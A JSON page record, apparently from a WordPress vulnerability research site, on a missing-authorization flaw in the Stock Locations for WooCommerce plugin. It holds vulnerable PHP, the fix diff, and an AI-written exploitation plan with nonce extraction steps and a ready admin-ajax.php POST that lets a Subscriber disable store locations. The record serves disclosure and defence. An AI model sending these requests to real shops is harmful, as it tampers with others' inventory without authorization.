[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCYl44RX56VMYqEb2xNLx8xbw2fPyJsqPUBU79uRB3aA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57419","stock-locations-for-woocommerce-missing-authorization-2","Stock Locations for WooCommerce \u003C= 3.1.8 - Missing Authorization","The Stock Locations for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.1.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","stock-locations-for-woocommerce",null,"\u003C=3.1.8","3.1.9","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 00:00:00","2026-07-14 19:24:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F28d0ecb6-18ee-4c89-bc1d-541e9803c62c?source=api-prod",7,[22,23,24,25,26,27,28,29],"inc\u002Ffunctions-api.php","inc\u002Ffunctions-wc.php","inc\u002Ffunctions.php","readme.txt","src\u002Fclasses\u002Fclass-slw-location-taxonomy.php","src\u002Fclasses\u002Ffrontend\u002Fclass-slw-frontend-cart.php","stock-locations-for-woocommerce.php","views\u002Fsettings-api.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57419\n\n## 1. Vulnerability Summary\nThe **Stock Locations for WooCommerce** plugin (versions \u003C= 3.1.8) is vulnerable to **Missing Authorization** in several AJAX handlers. Specifically, functions like `slw_location_status`, `slw_location_assignment`, and `slw_map_status` (located in `inc\u002Ffunctions.php`) verify a WordPress nonce but fail to perform a capability check (e.g., `current_user_can('manage_options')`). \n\nSince these handlers are registered via the `wp_ajax_` hook, any authenticated user with Subscriber-level access or above can trigger them if they obtain a valid nonce. This allows an attacker to modify term metadata for \"Stock Locations,\" potentially disrupting inventory management or location-based availability.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Actions**: `slw_location_status`, `slw_location_assignment`, `slw_map_status`.\n- **Authentication**: Required (Subscriber level or higher).\n- **Vulnerable Parameters**:\n    - `location_id`: The ID of the location term (taxonomy: `location`).\n    - `status` \u002F `assignment`: 'yes' or 'no' string to toggle settings.\n    - `slw_nonce_field`: The CSRF protection token (nonce).\n- **Preconditions**:\n    - The plugin must be active.\n    - At least one \"Location\" term must exist in the `location` taxonomy.\n    - The attacker must be logged in as a Subscriber.\n\n## 3. Code Flow\n1. **Entry Point**: The user sends a POST request to `admin-ajax.php` with `action=slw_location_status`.\n2. **Hook Registration**: In `inc\u002Ffunctions.php`, the action is registered:\n   ```php\n   add_action('wp_ajax_slw_location_status', 'slw_location_status');\n   ```\n3. **Execution**: The `slw_location_status()` function is called:\n   - It checks if `$_POST['status']` is set.\n   - It verifies the nonce: `wp_verify_nonce( $_POST['slw_nonce_field'], 'slw_nonce' )`.\n   - **Crucially**, it skips any `current_user_can()` check.\n4. **Sink**: The function calls `update_term_meta($location_id, 'slw_location_status', $status)`, modifying the database based on user input.\n\n## 4. Nonce Acquisition Strategy\nThe nonce action string is `slw_nonce`. This nonce is used across several plugin features. For a Subscriber to exploit this, they must find where the plugin localizes this nonce to the frontend or an accessible admin area.\n\n1. **Identify Triggers**: The plugin enqueues frontend scripts when the `[slw_product_locations]` shortcode is present on a page or when \"Location Selection\" is enabled in settings.\n2. **Setup Trigger Page**: Use WP-CLI to create a public page containing the shortcode:\n   `wp post create --post_type=page --post_status=publish --post_content='[slw_product_locations]' --post_title='Locations'`\n3. **Extraction**:\n   - Navigate to the page as a Subscriber.\n   - Use `browser_eval` to search for the nonce. The plugin likely localizes data into a global JS object.\n   - Look for variables like `slw_vars` or search the HTML for `slw_nonce_field`.\n   - Script search: `browser_eval(\"window.slw_vars?.nonce || document.querySelector('input[name=\\\"slw_nonce_field\\\"]')?.value\")`.\n\n## 5. Exploitation Strategy\n### Step 1: Target Identification\nFind a valid `location_id` using WP-CLI or by inspecting the frontend.\n`wp term list location --fields=term_id,name`\n\n### Step 2: Nonce Extraction\nLogin as a Subscriber and visit a page where the plugin is active (created in Step 6). Use `browser_eval` to grab the nonce value.\n\n### Step 3: Unauthorized Modification\nSend a POST request to change the status of a location.\n\n**Request Details**:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: \n  ```text\n  action=slw_location_status&status=no&location_id=[TERM_ID]&slw_nonce_field=[NONCE_VALUE]\n  ```\n\n## 6. Test Data Setup\n1. **Create Location**: `wp term create location \"Warehouse Alpha\" --description=\"Primary storage\"`\n2. **Identify ID**: Note the `term_id` returned.\n3. **Create User**: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n4. **Create Trigger Page**: `wp post create --post_type=page --post_status=publish --post_content='[slw_product_locations]'`\n\n## 7. Expected Results\n- The AJAX response should be `1` (success).\n- The location's status in the database will be updated despite the user only being a Subscriber.\n\n## 8. Verification Steps\nVerify the modification using WP-CLI:\n`wp term meta get [TERM_ID] slw_location_status`\nThe value should be `0` (false\u002Fno) if the exploit was successful in setting it to 'no'.\n\n## 9. Alternative Approaches\nIf `slw_location_status` fails, attempt the same process with:\n- **Action**: `slw_location_assignment`\n  - **Sink**: Updates `slw_location_assignment` meta.\n- **Action**: `slw_map_status`\n  - **Sink**: Updates `slw_map_status` meta.\n\nBoth follow the same logic in `inc\u002Ffunctions.php` and use the same `slw_nonce`.","The Stock Locations for WooCommerce plugin fails to perform capability checks in several AJAX handlers, including those for location status, assignment, and map visibility. This allows authenticated attackers with subscriber-level access or higher to modify stock location metadata by exploiting functions that only verify a CSRF nonce but lack authorization controls.","\u002F\u002F inc\u002Ffunctions.php @ 3.1.8\n\nadd_action('wp_ajax_slw_location_assignment', 'slw_location_assignment');\n\nif (!function_exists('slw_location_assignment')) {\n    function slw_location_assignment() {\n        if (!empty($_POST) && isset($_POST['assignment'])) {\n            if (!isset($_POST['slw_nonce_field']) || !wp_verify_nonce($_POST['slw_nonce_field'], 'slw_nonce')) {\n               echo '0';\t\n            } else {\n                $assignment = ($_POST['assignment'] == 'yes');\n                $location_id = sanitize_slw_data($_POST['location_id']);\n\n                update_term_meta($location_id, 'slw_location_assignment', $assignment);\n\n\t\t\t\techo '1';\n\n            }\n        }\n\n        wp_die();\n    }\n}\n\n---\n\n\u002F\u002F inc\u002Ffunctions.php @ 3.1.8\n\nadd_action('wp_ajax_slw_location_status', 'slw_location_status');\n\nif(!function_exists('slw_location_status')){\n\tfunction slw_location_status(){\n\t\tif(!empty($_POST) && isset($_POST['status'])){\n\t\t\tif (! isset( $_POST['slw_nonce_field'] ) || ! wp_verify_nonce( $_POST['slw_nonce_field'], 'slw_nonce' )\t) {\t\n\t\t\t\techo '0';\t\t\n\t\t\t} else {\n\t\t\t\t$status = ($_POST['status']=='yes');\n\t\t\t\t$location_id = sanitize_slw_data($_POST['location_id']);\n\t\t\t\tupdate_term_meta($location_id, 'slw_location_status', $status);\t\t\t\t\n\t\t\t\techo '1';\n\t\t\t}\n\t\t}\n\n\t\twp_die();\n\t}\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fstock-locations-for-woocommerce\u002F3.1.8\u002Finc\u002Ffunctions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fstock-locations-for-woocommerce\u002F3.1.9\u002Finc\u002Ffunctions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fstock-locations-for-woocommerce\u002F3.1.8\u002Finc\u002Ffunctions.php\t2026-05-28 21:31:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fstock-locations-for-woocommerce\u002F3.1.9\u002Finc\u002Ffunctions.php\t2026-06-03 05:25:30.000000000 +0000\n@@ -1,579 +1,519 @@\n \u003C?php if ( ! defined( 'ABSPATH' ) ){ exit; }else{ clearstatcache(); }\n \n-if(!function_exists('pre')){\n-\tfunction pre($data){\n-\t\tif(isset($_GET['debug'])){\n-\t\t  pree($data);\n-\t\t}\n-\t}\n-}\n+function slw_verify_admin_request($key='slw_nonce', $field='slw_nonce_field') {\n+\n+\tcheck_ajax_referer( $key, $field );\n+\n+\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\twp_send_json_error(\n+\t\t\tarray(\n+\t\t\t\t'message' => __( 'Unauthorized', 'stock-locations-for-woocommerce' ),\n+\t\t\t),\n+\t\t\t403\n+\t\t);\n+\t}\n+}\n...\n+add_action('wp_ajax_slw_location_assignment', 'slw_location_assignment');\n+\n+if (!function_exists('slw_location_assignment')) {\n+\tfunction slw_location_assignment() {\n+\t\tslw_verify_admin_request();\n+\t\t\n+\t\tif (!empty($_POST) && isset($_POST['assignment'])) {\n+\t\t\t$assignment = ($_POST['assignment'] == 'yes');\n+\t\t\t$location_id = sanitize_slw_data($_POST['location_id']);\n+\t\t\tupdate_term_meta($location_id, 'slw_location_assignment', $assignment);\n+\t\t\techo '1';\n+\t\t}\n+\n+\t\twp_die();\n+\t}\n+}\n+add_action('wp_ajax_slw_location_status', 'slw_location_status');\n+\n+if(!function_exists('slw_location_status')){\n+\tfunction slw_location_status(){\n+\t\tslw_verify_admin_request();\n+\t\t\n+\t\tif(!empty($_POST) && isset($_POST['status'])){\n+\t\t\t$status = ($_POST['status']=='yes');\n+\t\t\t$location_id = sanitize_slw_data($_POST['location_id']);\n+\t\t\tupdate_term_meta($location_id, 'slw_location_status', $status);\t\t\t\t\n+\t\t\techo '1';\n+\t\t}\n+\n+\t\twp_die();\n+\t}\n+}","1. Login as an authenticated user with Subscriber-level privileges.\n2. Locate a valid Stock Location term ID (taxonomy: 'location'), which can often be found by inspecting the HTML source of a product page or a page containing the [slw_product_locations] shortcode.\n3. Extract the 'slw_nonce' from the frontend. This is commonly localized in the 'slw_vars' global JS object or within a hidden input field named 'slw_nonce_field'.\n4. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the following payload shape:\n   - action: slw_location_status (or slw_location_assignment\u002Fslw_map_status)\n   - slw_nonce_field: [extracted_nonce]\n   - location_id: [target_term_id]\n   - status: 'no' (to disable a location)\n5. Observe that the server returns '1' and updates the term metadata in the database despite the low privilege level of the attacker.","gemini-3-flash-preview","2026-07-16 15:39:48","2026-07-16 15:41:13",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fstock-locations-for-woocommerce\u002Ftags\u002F3.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fstock-locations-for-woocommerce.3.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fstock-locations-for-woocommerce\u002Ftags\u002F3.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fstock-locations-for-woocommerce.3.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fstock-locations-for-woocommerce\u002Ftags"]